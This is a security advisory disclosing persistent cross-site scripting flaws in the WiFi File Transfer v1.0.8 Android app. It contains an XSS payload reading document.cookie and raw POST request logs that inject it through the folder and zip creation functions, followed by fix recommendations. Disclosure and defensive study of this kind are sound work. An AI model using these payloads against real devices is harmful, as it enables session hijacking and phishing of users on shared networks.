Document Title: =============== WiFi File Transfer v1.0.8 - Cross Site Scripting Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2322 Release Date: ============= 2022-10-17 Vulnerability Laboratory ID (VL-ID): ==================================== 2322 Common Vulnerability Scoring System: ==================================== 5.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== WiFi File Transfer lets you transfer files to/from your phone or tablet via WiFi. Easy to use web interface, no USB cable required. (Copy of the Homepage:https://play.google.com/store/apps/details?id=com.smarterdroid.wififiletransfer&hl=de&gl=US ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a multiple persistent cross site vulnerabilities in the WiFi File Transfer v1.0.8 mobile android web-application. Affected Product(s): ==================== smarterDroid Product: WiFi File Transfer v1.0.8 - Android (Wifi) (Web-Application) Vulnerability Disclosure Timeline: ================================== 2022-10-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Open Authentication (Anonymous Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the WiFi File Transfer v1.0.8 mobile web-application for android. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The vulnerabilities are located in the data_file parameter of the add a file or folder and create a zip file function. Attackers with wifi access are able to anonymous use the webui and can inject own malicious script code with persistent attack vector via post method request. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Proof of Concept (PoC): ======================= The persistent post inject web vulnerabilities can be exploited by remote attackers in the same wifi network with anonymous privileges and low user interaction. For security demonstration or to reproduce the web security vulnerability in the application follow the provided information and steps below to continue. Manual reproduce of the vulnerability ... 1. Install the mobile android application and start it 2. Start the wifi web-server 3. Login as attacker by the browser over the network 4. Inject payload as folder name, file name or zip file and save via post method request 5. The payload executes in the web ui when previewing the paths Exploitation: Payload <a onmouseover=alert(document.cookie)>picture1337.jpg</a> --- PoC Session Logs #1 (POST) [Add] [Create] [Folder] [data_file] --- http://localhost:1234/storage/emulated/0/DCIM/ Host: localhost:1234 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------321836412920954805143620932676 Content-Length: 613 Origin:http://localhost:1234 Connection: keep-alive Referer:http://localhost:1234/storage/emulated/0/DCIM/ action=mkdir&data_file=New"><a onmouseover=alert(document.cookie)>picture1337.jpg</a>&data_currentParams=?&data_filepath=/storage/emulated/0/DCIM/ - POST: HTTP/1.1 302 OK Connection: Close Content-Type: text/html Location:http://localhost:1234/storage/emulated/0/DCIM/ Content-Length: 143 - http://localhost:1234/storage/emulated/0/DCIM/ Host: localhost:1234 Accept-Encoding: gzip, deflate Referer:http://localhost:1234/storage/emulated/0/DCIM/ Connection: keep-alive - POST: HTTP/1.1 200 OK Connection: Close Content-Type: text/html --- PoC Session Logs #2 (POST) [Add] [Create] [Zip] [data_file] --- http://localhost:1234/storage/emulated/0/Pictures/? Host: localhost:1234 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------289297208414223233314228108045 Content-Length: 882 Origin:http://localhost:1234 Connection: keep-alive Referer:http://localhost:1234/storage/emulated/0/Pictures/? Upgrade-Insecure-Requests: 1 action=multizip&data_file=.<a onmouseover=alert(document.cookie)>File.Zip</a>.Zip&data_currentParams=?&data_filepath=/storage/emulated/0/Pictures/&1.jpg=file&2.jpg=file - POST: HTTP/1.1 200 OK Connection: Close Content-Type: text/html Location:http://localhost:1234/storage/emulated/0/Pictures/ Content-Length: 151 - http://localhost:1234/storage/emulated/0/Pictures/ Host: localhost:1234 Accept-Encoding: gzip, deflate Referer:http://localhost:1234/storage/emulated/0/Pictures/? Connection: keep-alive Upgrade-Insecure-Requests: 1 - POST: HTTP/1.1 200 OK Connection: Close Content-Type: text/html Reference(s): http://localhost:1234/ http://localhost:1234/storage/ http://localhost:1234/storage/emulated/ http://localhost:1234/storage/emulated/0/ http://localhost:1234/storage/emulated/0/DCIM/ http://localhost:1234/storage/emulated/0/Pictures/ Solution - Fix & Patch: ======================= The persistent web vulnerabilities can be resolved by the following steps ... 1. Restrict the input of the folder, filename and zip files to disallow special chars for add or create process 2. Encode and escape the content of the data_file parameter to sanitize the content 3. Sanitize and filter the output locations of the explorer path listings to prevent further attacks Security Risk: ============== The security risk of the persistent web vulnerabilities in the mobile android wifi web-application are estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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